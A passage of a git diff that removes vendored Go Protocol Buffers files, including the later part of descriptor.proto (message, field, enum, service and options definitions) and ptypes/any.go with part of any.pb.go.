- // For Google-internal migration only. Do not use. - repeated int32 weak_dependency = 11; - - // All top-level definitions in this file. - repeated DescriptorProto message_type = 4; - repeated EnumDescriptorProto enum_type = 5; - repeated ServiceDescriptorProto service = 6; - repeated FieldDescriptorProto extension = 7; - - optional FileOptions options = 8; - - // This field contains optional information about the original source code. - // You may safely remove this entire field without harming runtime - // functionality of the descriptors -- the information is needed only by - // development tools. - optional SourceCodeInfo source_code_info = 9; - - // The syntax of the proto file. - // The supported values are "proto2" and "proto3". - optional string syntax = 12; -} - -// Describes a message type. -message DescriptorProto { - optional string name = 1; - - repeated FieldDescriptorProto field = 2; - repeated FieldDescriptorProto extension = 6; - - repeated DescriptorProto nested_type = 3; - repeated EnumDescriptorProto enum_type = 4; - - message ExtensionRange { - optional int32 start = 1; - optional int32 end = 2; - - optional ExtensionRangeOptions options = 3; - } - repeated ExtensionRange extension_range = 5; - - repeated OneofDescriptorProto oneof_decl = 8; - - optional MessageOptions options = 7; - - // Range of reserved tag numbers. Reserved tag numbers may not be used by - // fields or extension ranges in the same message. Reserved ranges may - // not overlap. - message ReservedRange { - optional int32 start = 1; // Inclusive. - optional int32 end = 2; // Exclusive. - } - repeated ReservedRange reserved_range = 9; - // Reserved field names, which may not be used by fields in the same message. - // A given name may only be reserved once. - repeated string reserved_name = 10; -} - -message ExtensionRangeOptions { - // The parser stores options it doesn't recognize here. See above. - repeated UninterpretedOption uninterpreted_option = 999; - - // Clients can define custom options in extensions of this message. See above. - extensions 1000 to max; -} - -// Describes a field within a message. -message FieldDescriptorProto { - enum Type { - // 0 is reserved for errors. - // Order is weird for historical reasons. - TYPE_DOUBLE = 1; - TYPE_FLOAT = 2; - // Not ZigZag encoded. Negative numbers take 10 bytes. Use TYPE_SINT64 if - // negative values are likely. - TYPE_INT64 = 3; - TYPE_UINT64 = 4; - // Not ZigZag encoded. Negative numbers take 10 bytes. Use TYPE_SINT32 if - // negative values are likely. - TYPE_INT32 = 5; - TYPE_FIXED64 = 6; - TYPE_FIXED32 = 7; - TYPE_BOOL = 8; - TYPE_STRING = 9; - // Tag-delimited aggregate. - // Group type is deprecated and not supported in proto3. However, Proto3 - // implementations should still be able to parse the group wire format and - // treat group fields as unknown fields. - TYPE_GROUP = 10; - TYPE_MESSAGE = 11; // Length-delimited aggregate. - - // New in version 2. - TYPE_BYTES = 12; - TYPE_UINT32 = 13; - TYPE_ENUM = 14; - TYPE_SFIXED32 = 15; - TYPE_SFIXED64 = 16; - TYPE_SINT32 = 17; // Uses ZigZag encoding. - TYPE_SINT64 = 18; // Uses ZigZag encoding. - }; - - enum Label { - // 0 is reserved for errors - LABEL_OPTIONAL = 1; - LABEL_REQUIRED = 2; - LABEL_REPEATED = 3; - }; - - optional string name = 1; - optional int32 number = 3; - optional Label label = 4; - - // If type_name is set, this need not be set. If both this and type_name - // are set, this must be one of TYPE_ENUM, TYPE_MESSAGE or TYPE_GROUP. - optional Type type = 5; - - // For message and enum types, this is the name of the type. If the name - // starts with a '.', it is fully-qualified. Otherwise, C++-like scoping - // rules are used to find the type (i.e. first the nested types within this - // message are searched, then within the parent, on up to the root - // namespace). - optional string type_name = 6; - - // For extensions, this is the name of the type being extended. It is - // resolved in the same manner as type_name. - optional string extendee = 2; - - // For numeric types, contains the original text representation of the value. - // For booleans, "true" or "false". - // For strings, contains the default text contents (not escaped in any way). - // For bytes, contains the C escaped value. All bytes >= 128 are escaped. - // TODO(kenton): Base-64 encode? - optional string default_value = 7; - - // If set, gives the index of a oneof in the containing type's oneof_decl - // list. This field is a member of that oneof. - optional int32 oneof_index = 9; - - // JSON name of this field. The value is set by protocol compiler. If the - // user has set a "json_name" option on this field, that option's value - // will be used. Otherwise, it's deduced from the field's name by converting - // it to camelCase. - optional string json_name = 10; - - optional FieldOptions options = 8; -} - -// Describes a oneof. -message OneofDescriptorProto { - optional string name = 1; - optional OneofOptions options = 2; -} - -// Describes an enum type. -message EnumDescriptorProto { - optional string name = 1; - - repeated EnumValueDescriptorProto value = 2; - - optional EnumOptions options = 3; - - // Range of reserved numeric values. Reserved values may not be used by - // entries in the same enum. Reserved ranges may not overlap. - // - // Note that this is distinct from DescriptorProto.ReservedRange in that it - // is inclusive such that it can appropriately represent the entire int32 - // domain. - message EnumReservedRange { - optional int32 start = 1; // Inclusive. - optional int32 end = 2; // Inclusive. - } - - // Range of reserved numeric values. Reserved numeric values may not be used - // by enum values in the same enum declaration. Reserved ranges may not - // overlap. - repeated EnumReservedRange reserved_range = 4; - - // Reserved enum value names, which may not be reused. A given name may only - // be reserved once. - repeated string reserved_name = 5; -} - -// Describes a value within an enum. -message EnumValueDescriptorProto { - optional string name = 1; - optional int32 number = 2; - - optional EnumValueOptions options = 3; -} - -// Describes a service. -message ServiceDescriptorProto { - optional string name = 1; - repeated MethodDescriptorProto method = 2; - - optional ServiceOptions options = 3; -} - -// Describes a method of a service. -message MethodDescriptorProto { - optional string name = 1; - - // Input and output type names. These are resolved in the same way as - // FieldDescriptorProto.type_name, but must refer to a message type. - optional string input_type = 2; - optional string output_type = 3; - - optional MethodOptions options = 4; - - // Identifies if client streams multiple client messages - optional bool client_streaming = 5 [default=false]; - // Identifies if server streams multiple server messages - optional bool server_streaming = 6 [default=false]; -} - - -// =================================================================== -// Options - -// Each of the definitions above may have "options" attached. These are -// just annotations which may cause code to be generated slightly differently -// or may contain hints for code that manipulates protocol messages. -// -// Clients may define custom options as extensions of the *Options messages. -// These extensions may not yet be known at parsing time, so the parser cannot -// store the values in them. Instead it stores them in a field in the *Options -// message called uninterpreted_option. This field must have the same name -// across all *Options messages. We then use this field to populate the -// extensions when we build a descriptor, at which point all protos have been -// parsed and so all extensions are known. -// -// Extension numbers for custom options may be chosen as follows: -// * For options which will only be used within a single application or -// organization, or for experimental options, use field numbers 50000 -// through 99999. It is up to you to ensure that you do not use the -// same number for multiple options. -// * For options which will be published and used publicly by multiple -// independent entities, e-mail protobuf-global-extension-registry@google.com -// to reserve extension numbers. Simply provide your project name (e.g. -// Objective-C plugin) and your project website (if available) -- there's no -// need to explain how you intend to use them. Usually you only need one -// extension number. You can declare multiple options with only one extension -// number by putting them in a sub-message. See the Custom Options section of -// the docs for examples: -// https://developers.google.com/protocol-buffers/docs/proto#options -// If this turns out to be popular, a web service will be set up -// to automatically assign option numbers. - - -message FileOptions { - - // Sets the Java package where classes generated from this .proto will be - // placed. By default, the proto package is used, but this is often - // inappropriate because proto packages do not normally start with backwards - // domain names. - optional string java_package = 1; - - - // If set, all the classes from the .proto file are wrapped in a single - // outer class with the given name. This applies to both Proto1 - // (equivalent to the old "--one_java_file" option) and Proto2 (where - // a .proto always translates to a single class, but you may want to - // explicitly choose the class name). - optional string java_outer_classname = 8; - - // If set true, then the Java code generator will generate a separate .java - // file for each top-level message, enum, and service defined in the .proto - // file. Thus, these types will *not* be nested inside the outer class - // named by java_outer_classname. However, the outer class will still be - // generated to contain the file's getDescriptor() method as well as any - // top-level extensions defined in the file. - optional bool java_multiple_files = 10 [default=false]; - - // This option does nothing. - optional bool java_generate_equals_and_hash = 20 [deprecated=true]; - - // If set true, then the Java2 code generator will generate code that - // throws an exception whenever an attempt is made to assign a non-UTF-8 - // byte sequence to a string field. - // Message reflection will do the same. - // However, an extension field still accepts non-UTF-8 byte sequences. - // This option has no effect on when used with the lite runtime. - optional bool java_string_check_utf8 = 27 [default=false]; - - - // Generated classes can be optimized for speed or code size. - enum OptimizeMode { - SPEED = 1; // Generate complete code for parsing, serialization, - // etc. - CODE_SIZE = 2; // Use ReflectionOps to implement these methods. - LITE_RUNTIME = 3; // Generate code using MessageLite and the lite runtime. - } - optional OptimizeMode optimize_for = 9 [default=SPEED]; - - // Sets the Go package where structs generated from this .proto will be - // placed. If omitted, the Go package will be derived from the following: - // - The basename of the package import path, if provided. - // - Otherwise, the package statement in the .proto file, if present. - // - Otherwise, the basename of the .proto file, without extension. - optional string go_package = 11; - - - - // Should generic services be generated in each language? "Generic" services - // are not specific to any particular RPC system. They are generated by the - // main code generators in each language (without additional plugins). - // Generic services were the only kind of service generation supported by - // early versions of google.protobuf. - // - // Generic services are now considered deprecated in favor of using plugins - // that generate code specific to your particular RPC system. Therefore, - // these default to false. Old code which depends on generic services should - // explicitly set them to true. - optional bool cc_generic_services = 16 [default=false]; - optional bool java_generic_services = 17 [default=false]; - optional bool py_generic_services = 18 [default=false]; - optional bool php_generic_services = 42 [default=false]; - - // Is this file deprecated? - // Depending on the target platform, this can emit Deprecated annotations - // for everything in the file, or it will be completely ignored; in the very - // least, this is a formalization for deprecating files. - optional bool deprecated = 23 [default=false]; - - // Enables the use of arenas for the proto messages in this file. This applies - // only to generated classes for C++. - optional bool cc_enable_arenas = 31 [default=false]; - - - // Sets the objective c class prefix which is prepended to all objective c - // generated classes from this .proto. There is no default. - optional string objc_class_prefix = 36; - - // Namespace for generated classes; defaults to the package. - optional string csharp_namespace = 37; - - // By default Swift generators will take the proto package and CamelCase it - // replacing '.' with underscore and use that to prefix the types/symbols - // defined. When this options is provided, they will use this value instead - // to prefix the types/symbols defined. - optional string swift_prefix = 39; - - // Sets the php class prefix which is prepended to all php generated classes - // from this .proto. Default is empty. - optional string php_class_prefix = 40; - - // Use this option to change the namespace of php generated classes. Default - // is empty. When this option is empty, the package name will be used for - // determining the namespace. - optional string php_namespace = 41; - - - // Use this option to change the namespace of php generated metadata classes. - // Default is empty. When this option is empty, the proto file name will be used - // for determining the namespace. - optional string php_metadata_namespace = 44; - - // Use this option to change the package of ruby generated classes. Default - // is empty. When this option is not set, the package name will be used for - // determining the ruby package. - optional string ruby_package = 45; - - // The parser stores options it doesn't recognize here. - // See the documentation for the "Options" section above. - repeated UninterpretedOption uninterpreted_option = 999; - - // Clients can define custom options in extensions of this message. - // See the documentation for the "Options" section above. - extensions 1000 to max; - - reserved 38; -} - -message MessageOptions { - // Set true to use the old proto1 MessageSet wire format for extensions. - // This is provided for backwards-compatibility with the MessageSet wire - // format. You should not use this for any other reason: It's less - // efficient, has fewer features, and is more complicated. - // - // The message must be defined exactly as follows: - // message Foo { - // option message_set_wire_format = true; - // extensions 4 to max; - // } - // Note that the message cannot have any defined fields; MessageSets only - // have extensions. - // - // All extensions of your type must be singular messages; e.g. they cannot - // be int32s, enums, or repeated messages. - // - // Because this is an option, the above two restrictions are not enforced by - // the protocol compiler. - optional bool message_set_wire_format = 1 [default=false]; - - // Disables the generation of the standard "descriptor()" accessor, which can - // conflict with a field of the same name. This is meant to make migration - // from proto1 easier; new code should avoid fields named "descriptor". - optional bool no_standard_descriptor_accessor = 2 [default=false]; - - // Is this message deprecated? - // Depending on the target platform, this can emit Deprecated annotations - // for the message, or it will be completely ignored; in the very least, - // this is a formalization for deprecating messages. - optional bool deprecated = 3 [default=false]; - - // Whether the message is an automatically generated map entry type for the - // maps field. - // - // For maps fields: - // map map_field = 1; - // The parsed descriptor looks like: - // message MapFieldEntry { - // option map_entry = true; - // optional KeyType key = 1; - // optional ValueType value = 2; - // } - // repeated MapFieldEntry map_field = 1; - // - // Implementations may choose not to generate the map_entry=true message, but - // use a native map in the target language to hold the keys and values. - // The reflection APIs in such implementions still need to work as - // if the field is a repeated message field. - // - // NOTE: Do not set the option in .proto files. Always use the maps syntax - // instead. The option should only be implicitly set by the proto compiler - // parser. - optional bool map_entry = 7; - - reserved 8; // javalite_serializable - reserved 9; // javanano_as_lite - - // The parser stores options it doesn't recognize here. See above. - repeated UninterpretedOption uninterpreted_option = 999; - - // Clients can define custom options in extensions of this message. See above. - extensions 1000 to max; -} - -message FieldOptions { - // The ctype option instructs the C++ code generator to use a different - // representation of the field than it normally would. See the specific - // options below. This option is not yet implemented in the open source - // release -- sorry, we'll try to include it in a future version! - optional CType ctype = 1 [default = STRING]; - enum CType { - // Default mode. - STRING = 0; - - CORD = 1; - - STRING_PIECE = 2; - } - // The packed option can be enabled for repeated primitive fields to enable - // a more efficient representation on the wire. Rather than repeatedly - // writing the tag and type for each element, the entire array is encoded as - // a single length-delimited blob. In proto3, only explicit setting it to - // false will avoid using packed encoding. - optional bool packed = 2; - - // The jstype option determines the JavaScript type used for values of the - // field. The option is permitted only for 64 bit integral and fixed types - // (int64, uint64, sint64, fixed64, sfixed64). A field with jstype JS_STRING - // is represented as JavaScript string, which avoids loss of precision that - // can happen when a large value is converted to a floating point JavaScript. - // Specifying JS_NUMBER for the jstype causes the generated JavaScript code to - // use the JavaScript "number" type. The behavior of the default option - // JS_NORMAL is implementation dependent. - // - // This option is an enum to permit additional types to be added, e.g. - // goog.math.Integer. - optional JSType jstype = 6 [default = JS_NORMAL]; - enum JSType { - // Use the default type. - JS_NORMAL = 0; - - // Use JavaScript strings. - JS_STRING = 1; - - // Use JavaScript numbers. - JS_NUMBER = 2; - } - - // Should this field be parsed lazily? Lazy applies only to message-type - // fields. It means that when the outer message is initially parsed, the - // inner message's contents will not be parsed but instead stored in encoded - // form. The inner message will actually be parsed when it is first accessed. - // - // This is only a hint. Implementations are free to choose whether to use - // eager or lazy parsing regardless of the value of this option. However, - // setting this option true suggests that the protocol author believes that - // using lazy parsing on this field is worth the additional bookkeeping - // overhead typically needed to implement it. - // - // This option does not affect the public interface of any generated code; - // all method signatures remain the same. Furthermore, thread-safety of the - // interface is not affected by this option; const methods remain safe to - // call from multiple threads concurrently, while non-const methods continue - // to require exclusive access. - // - // - // Note that implementations may choose not to check required fields within - // a lazy sub-message. That is, calling IsInitialized() on the outer message - // may return true even if the inner message has missing required fields. - // This is necessary because otherwise the inner message would have to be - // parsed in order to perform the check, defeating the purpose of lazy - // parsing. An implementation which chooses not to check required fields - // must be consistent about it. That is, for any particular sub-message, the - // implementation must either *always* check its required fields, or *never* - // check its required fields, regardless of whether or not the message has - // been parsed. - optional bool lazy = 5 [default=false]; - - // Is this field deprecated? - // Depending on the target platform, this can emit Deprecated annotations - // for accessors, or it will be completely ignored; in the very least, this - // is a formalization for deprecating fields. - optional bool deprecated = 3 [default=false]; - - // For Google-internal migration only. Do not use. - optional bool weak = 10 [default=false]; - - - // The parser stores options it doesn't recognize here. See above. - repeated UninterpretedOption uninterpreted_option = 999; - - // Clients can define custom options in extensions of this message. See above. - extensions 1000 to max; - - reserved 4; // removed jtype -} - -message OneofOptions { - // The parser stores options it doesn't recognize here. See above. - repeated UninterpretedOption uninterpreted_option = 999; - - // Clients can define custom options in extensions of this message. See above. - extensions 1000 to max; -} - -message EnumOptions { - - // Set this option to true to allow mapping different tag names to the same - // value. - optional bool allow_alias = 2; - - // Is this enum deprecated? - // Depending on the target platform, this can emit Deprecated annotations - // for the enum, or it will be completely ignored; in the very least, this - // is a formalization for deprecating enums. - optional bool deprecated = 3 [default=false]; - - reserved 5; // javanano_as_lite - - // The parser stores options it doesn't recognize here. See above. - repeated UninterpretedOption uninterpreted_option = 999; - - // Clients can define custom options in extensions of this message. See above. - extensions 1000 to max; -} - -message EnumValueOptions { - // Is this enum value deprecated? - // Depending on the target platform, this can emit Deprecated annotations - // for the enum value, or it will be completely ignored; in the very least, - // this is a formalization for deprecating enum values. - optional bool deprecated = 1 [default=false]; - - // The parser stores options it doesn't recognize here. See above. - repeated UninterpretedOption uninterpreted_option = 999; - - // Clients can define custom options in extensions of this message. See above. - extensions 1000 to max; -} - -message ServiceOptions { - - // Note: Field numbers 1 through 32 are reserved for Google's internal RPC - // framework. We apologize for hoarding these numbers to ourselves, but - // we were already using them long before we decided to release Protocol - // Buffers. - - // Is this service deprecated? - // Depending on the target platform, this can emit Deprecated annotations - // for the service, or it will be completely ignored; in the very least, - // this is a formalization for deprecating services. - optional bool deprecated = 33 [default=false]; - - // The parser stores options it doesn't recognize here. See above. - repeated UninterpretedOption uninterpreted_option = 999; - - // Clients can define custom options in extensions of this message. See above. - extensions 1000 to max; -} - -message MethodOptions { - - // Note: Field numbers 1 through 32 are reserved for Google's internal RPC - // framework. We apologize for hoarding these numbers to ourselves, but - // we were already using them long before we decided to release Protocol - // Buffers. - - // Is this method deprecated? - // Depending on the target platform, this can emit Deprecated annotations - // for the method, or it will be completely ignored; in the very least, - // this is a formalization for deprecating methods. - optional bool deprecated = 33 [default=false]; - - // Is this method side-effect-free (or safe in HTTP parlance), or idempotent, - // or neither? HTTP based RPC implementation may choose GET verb for safe - // methods, and PUT verb for idempotent methods instead of the default POST. - enum IdempotencyLevel { - IDEMPOTENCY_UNKNOWN = 0; - NO_SIDE_EFFECTS = 1; // implies idempotent - IDEMPOTENT = 2; // idempotent, but may have side effects - } - optional IdempotencyLevel idempotency_level = - 34 [default=IDEMPOTENCY_UNKNOWN]; - - // The parser stores options it doesn't recognize here. See above. - repeated UninterpretedOption uninterpreted_option = 999; - - // Clients can define custom options in extensions of this message. See above. - extensions 1000 to max; -} - - -// A message representing a option the parser does not recognize. This only -// appears in options protos created by the compiler::Parser class. -// DescriptorPool resolves these when building Descriptor objects. Therefore, -// options protos in descriptor objects (e.g. returned by Descriptor::options(), -// or produced by Descriptor::CopyTo()) will never have UninterpretedOptions -// in them. -message UninterpretedOption { - // The name of the uninterpreted option. Each string represents a segment in - // a dot-separated name. is_extension is true iff a segment represents an - // extension (denoted with parentheses in options specs in .proto files). - // E.g.,{ ["foo", false], ["bar.baz", true], ["qux", false] } represents - // "foo.(bar.baz).qux". - message NamePart { - required string name_part = 1; - required bool is_extension = 2; - } - repeated NamePart name = 2; - - // The value of the uninterpreted option, in whatever type the tokenizer - // identified it as during parsing. Exactly one of these should be set. - optional string identifier_value = 3; - optional uint64 positive_int_value = 4; - optional int64 negative_int_value = 5; - optional double double_value = 6; - optional bytes string_value = 7; - optional string aggregate_value = 8; -} - -// =================================================================== -// Optional source code info - -// Encapsulates information about the original source file from which a -// FileDescriptorProto was generated. -message SourceCodeInfo { - // A Location identifies a piece of source code in a .proto file which - // corresponds to a particular definition. This information is intended - // to be useful to IDEs, code indexers, documentation generators, and similar - // tools. - // - // For example, say we have a file like: - // message Foo { - // optional string foo = 1; - // } - // Let's look at just the field definition: - // optional string foo = 1; - // ^ ^^ ^^ ^ ^^^ - // a bc de f ghi - // We have the following locations: - // span path represents - // [a,i) [ 4, 0, 2, 0 ] The whole field definition. - // [a,b) [ 4, 0, 2, 0, 4 ] The label (optional). - // [c,d) [ 4, 0, 2, 0, 5 ] The type (string). - // [e,f) [ 4, 0, 2, 0, 1 ] The name (foo). - // [g,h) [ 4, 0, 2, 0, 3 ] The number (1). - // - // Notes: - // - A location may refer to a repeated field itself (i.e. not to any - // particular index within it). This is used whenever a set of elements are - // logically enclosed in a single code segment. For example, an entire - // extend block (possibly containing multiple extension definitions) will - // have an outer location whose path refers to the "extensions" repeated - // field without an index. - // - Multiple locations may have the same path. This happens when a single - // logical declaration is spread out across multiple places. The most - // obvious example is the "extend" block again -- there may be multiple - // extend blocks in the same scope, each of which will have the same path. - // - A location's span is not always a subset of its parent's span. For - // example, the "extendee" of an extension declaration appears at the - // beginning of the "extend" block and is shared by all extensions within - // the block. - // - Just because a location's span is a subset of some other location's span - // does not mean that it is a descendent. For example, a "group" defines - // both a type and a field in a single declaration. Thus, the locations - // corresponding to the type and field and their components will overlap. - // - Code which tries to interpret locations should probably be designed to - // ignore those that it doesn't understand, as more types of locations could - // be recorded in the future. - repeated Location location = 1; - message Location { - // Identifies which part of the FileDescriptorProto was defined at this - // location. - // - // Each element is a field number or an index. They form a path from - // the root FileDescriptorProto to the place where the definition. For - // example, this path: - // [ 4, 3, 2, 7, 1 ] - // refers to: - // file.message_type(3) // 4, 3 - // .field(7) // 2, 7 - // .name() // 1 - // This is because FileDescriptorProto.message_type has field number 4: - // repeated DescriptorProto message_type = 4; - // and DescriptorProto.field has field number 2: - // repeated FieldDescriptorProto field = 2; - // and FieldDescriptorProto.name has field number 1: - // optional string name = 1; - // - // Thus, the above path gives the location of a field name. If we removed - // the last element: - // [ 4, 3, 2, 7 ] - // this path refers to the whole field declaration (from the beginning - // of the label to the terminating semicolon). - repeated int32 path = 1 [packed=true]; - - // Always has exactly three or four elements: start line, start column, - // end line (optional, otherwise assumed same as start line), end column. - // These are packed into a single field for efficiency. Note that line - // and column numbers are zero-based -- typically you will want to add - // 1 to each before displaying to a user. - repeated int32 span = 2 [packed=true]; - - // If this SourceCodeInfo represents a complete declaration, these are any - // comments appearing before and after the declaration which appear to be - // attached to the declaration. - // - // A series of line comments appearing on consecutive lines, with no other - // tokens appearing on those lines, will be treated as a single comment. - // - // leading_detached_comments will keep paragraphs of comments that appear - // before (but not connected to) the current element. Each paragraph, - // separated by empty lines, will be one comment element in the repeated - // field. - // - // Only the comment content is provided; comment markers (e.g. //) are - // stripped out. For block comments, leading whitespace and an asterisk - // will be stripped from the beginning of each line other than the first. - // Newlines are included in the output. - // - // Examples: - // - // optional int32 foo = 1; // Comment attached to foo. - // // Comment attached to bar. - // optional int32 bar = 2; - // - // optional string baz = 3; - // // Comment attached to baz. - // // Another line attached to baz. - // - // // Comment attached to qux. - // // - // // Another line attached to qux. - // optional double qux = 4; - // - // // Detached comment for corge. This is not leading or trailing comments - // // to qux or corge because there are blank lines separating it from - // // both. - // - // // Detached comment for corge paragraph 2. - // - // optional string corge = 5; - // /* Block comment attached - // * to corge. Leading asterisks - // * will be removed. */ - // /* Block comment attached to - // * grault. */ - // optional int32 grault = 6; - // - // // ignored detached comments. - optional string leading_comments = 3; - optional string trailing_comments = 4; - repeated string leading_detached_comments = 6; - } -} - -// Describes the relationship between generated code and its original source -// file. A GeneratedCodeInfo message is associated with only one generated -// source file, but may contain references to different source .proto files. -message GeneratedCodeInfo { - // An Annotation connects some span of text in generated code to an element - // of its generating .proto file. - repeated Annotation annotation = 1; - message Annotation { - // Identifies the element in the original source .proto file. This field - // is formatted the same as SourceCodeInfo.Location.path. - repeated int32 path = 1 [packed=true]; - - // Identifies the filesystem path to the original source .proto. - optional string source_file = 2; - - // Identifies the starting offset in bytes in the generated code - // that relates to the identified object. - optional int32 begin = 3; - - // Identifies the ending offset in bytes in the generated code that - // relates to the identified offset. The end offset should be one past - // the last relevant byte (so the length of the text = end - begin). - optional int32 end = 4; - } -} diff --git a/vendor/github.com/golang/protobuf/ptypes/any.go b/vendor/github.com/golang/protobuf/ptypes/any.go deleted file mode 100644 index 70276e8f5c..0000000000 --- a/vendor/github.com/golang/protobuf/ptypes/any.go +++ /dev/null @@ -1,141 +0,0 @@ -// Go support for Protocol Buffers - Google's data interchange format -// -// Copyright 2016 The Go Authors. All rights reserved. -// https://github.com/golang/protobuf -// -// Redistribution and use in source and binary forms, with or without -// modification, are permitted provided that the following conditions are -// met: -// -// * Redistributions of source code must retain the above copyright -// notice, this list of conditions and the following disclaimer. -// * Redistributions in binary form must reproduce the above -// copyright notice, this list of conditions and the following disclaimer -// in the documentation and/or other materials provided with the -// distribution. -// * Neither the name of Google Inc. nor the names of its -// contributors may be used to endorse or promote products derived from -// this software without specific prior written permission. -// -// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS -// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR -// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, -// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -package ptypes - -// This file implements functions to marshal proto.Message to/from -// google.protobuf.Any message. - -import ( - "fmt" - "reflect" - "strings" - - "github.com/golang/protobuf/proto" - "github.com/golang/protobuf/ptypes/any" -) - -const googleApis = "type.googleapis.com/" - -// AnyMessageName returns the name of the message contained in a google.protobuf.Any message. -// -// Note that regular type assertions should be done using the Is -// function. AnyMessageName is provided for less common use cases like filtering a -// sequence of Any messages based on a set of allowed message type names. -func AnyMessageName(any *any.Any) (string, error) { - if any == nil { - return "", fmt.Errorf("message is nil") - } - slash := strings.LastIndex(any.TypeUrl, "/") - if slash < 0 { - return "", fmt.Errorf("message type url %q is invalid", any.TypeUrl) - } - return any.TypeUrl[slash+1:], nil -} - -// MarshalAny takes the protocol buffer and encodes it into google.protobuf.Any. -func MarshalAny(pb proto.Message) (*any.Any, error) { - value, err := proto.Marshal(pb) - if err != nil { - return nil, err - } - return &any.Any{TypeUrl: googleApis + proto.MessageName(pb), Value: value}, nil -} - -// DynamicAny is a value that can be passed to UnmarshalAny to automatically -// allocate a proto.Message for the type specified in a google.protobuf.Any -// message. The allocated message is stored in the embedded proto.Message. -// -// Example: -// -// var x ptypes.DynamicAny -// if err := ptypes.UnmarshalAny(a, &x); err != nil { ... } -// fmt.Printf("unmarshaled message: %v", x.Message) -type DynamicAny struct { - proto.Message -} - -// Empty returns a new proto.Message of the type specified in a -// google.protobuf.Any message. It returns an error if corresponding message -// type isn't linked in. -func Empty(any *any.Any) (proto.Message, error) { - aname, err := AnyMessageName(any) - if err != nil { - return nil, err - } - - t := proto.MessageType(aname) - if t == nil { - return nil, fmt.Errorf("any: message type %q isn't linked in", aname) - } - return reflect.New(t.Elem()).Interface().(proto.Message), nil -} - -// UnmarshalAny parses the protocol buffer representation in a google.protobuf.Any -// message and places the decoded result in pb. It returns an error if type of -// contents of Any message does not match type of pb message. -// -// pb can be a proto.Message, or a *DynamicAny. -func UnmarshalAny(any *any.Any, pb proto.Message) error { - if d, ok := pb.(*DynamicAny); ok { - if d.Message == nil { - var err error - d.Message, err = Empty(any) - if err != nil { - return err - } - } - return UnmarshalAny(any, d.Message) - } - - aname, err := AnyMessageName(any) - if err != nil { - return err - } - - mname := proto.MessageName(pb) - if aname != mname { - return fmt.Errorf("mismatched message type: got %q want %q", aname, mname) - } - return proto.Unmarshal(any.Value, pb) -} - -// Is returns true if any value contains a given message type. -func Is(any *any.Any, pb proto.Message) bool { - // The following is equivalent to AnyMessageName(any) == proto.MessageName(pb), - // but it avoids scanning TypeUrl for the slash. - if any == nil { - return false - } - name := proto.MessageName(pb) - prefix := len(any.TypeUrl) - len(name) - return prefix >= 1 && any.TypeUrl[prefix-1] == '/' && any.TypeUrl[prefix:] == name -} diff --git a/vendor/github.com/golang/protobuf/ptypes/any/any.pb.go b/vendor/github.com/golang/protobuf/ptypes/any/any.pb.go deleted file mode 100644 index 78ee523349..0000000000 --- a/vendor/github.com/golang/protobuf/ptypes/any/any.pb.go +++ /dev/null @@ -1,200 +0,0 @@ -// Code generated by protoc-gen-go. DO NOT EDIT. -// source: google/protobuf/any.proto - -package any - -import ( - fmt "fmt" - proto "github.com/golang/protobuf/proto" - math "math" -) - -// Reference imports to suppress errors if they are not otherwise used. -var _ = proto.Marshal -var _ = fmt.Errorf -var _ = math.Inf - -// This is a compile-time assertion to ensure that this generated file -// is compatible with the proto package it is being compiled against. -// A compilation error at this line likely means your copy of the -// proto package needs to be updated. -const _ = proto.ProtoPackageIsVersion3 // please upgrade the proto package - -// `Any` contains an arbitrary serialized protocol buffer message along with a -// URL that describes the type of the serialized message. -// -// Protobuf library provides support to pack/unpack Any values in the form -// of utility functions or additional generated methods of the Any type. -// -// Example 1: Pack and unpack a message in C++. -// -// Foo foo = ...; -// Any any; -// any.PackFrom(foo); -// ... -// if (any.UnpackTo(&foo)) { -// ... -// } -// -// Example 2: Pack and unpack a message in Java. -// -// Foo foo = ...; -// Any any = Any.pack(foo); -// ... -// if (any.is(Foo.class)) { -// foo = any.unpack(Foo.class); -// } -// -// Example 3: Pack and unpack a message in Python. -// -// foo = Foo(...) -// any = Any() -// any.Pack(foo) -// ... -// if any.Is(Foo.DESCRIPTOR): -// any.Unpack(foo) -// ... -// -// Example 4: Pack and unpack a message in Go -// -// foo := &pb.Foo{...} -// any, err := ptypes.MarshalAny(foo) -// ... -// foo := &pb.Foo{} -// if err := ptypes.UnmarshalAny(any, foo); err != nil { -// ... -// } -// -// The pack methods provided by protobuf library will by default use -// 'type.googleapis.com/full.type.name' as the type URL and the unpack -// methods only use the fully qualified type name after the last '/' -// in the type URL, for example "foo.bar.com/x/y.z" will yield type -// name "y.z". -// -// -// JSON -// ==== -// The JSON representation of an `Any` value uses the regular -// representation of the deserialized, embedded message, with an -// additional field `@type` which contains the type URL. Example: -// -// package google.profile; -// message Person { -// string first_name = 1; -// string last_name = 2; -// } -// -// { -// "@type": "type.googleapis.com/google.profile.Person", -// "firstName": , -// "lastName": -// } -// -// If the embedded message type is well-known and has a custom JSON -// representation, that representation will be embedded adding a field -// `value` which holds the custom JSON in addition to the `@type` -// field. Example (for message [google.protobuf.Duration][]): -// -// { -// "@type": "type.googleapis.com/google.protobuf.Duration", -// "value": "1.212s" -// } -// -type Any struct { - // A URL/resource name that uniquely identifies the type of the serialized - // protocol buffer message. The last segment of the URL's path must represent - // the fully qualified name of the type (as in - // `path/google.protobuf.Duration`). The name should be in a canonical form - // (e.g., leading "." is not accepted). - // - // In practice, teams usually precompile into the binary all types that they - // expect it to use in the context of Any. However, for URLs which use the - // scheme `http`, `https`, or no scheme, one can optionally set up a type - // server that maps type URLs to message definitions as follows: - // - // * If no scheme is provided, `https` is assumed. - // * An HTTP GET on the URL must yield a [google.protobuf.Type][] - // value in binary format, or produce an error. - // * Applications are allowed to cache lookup 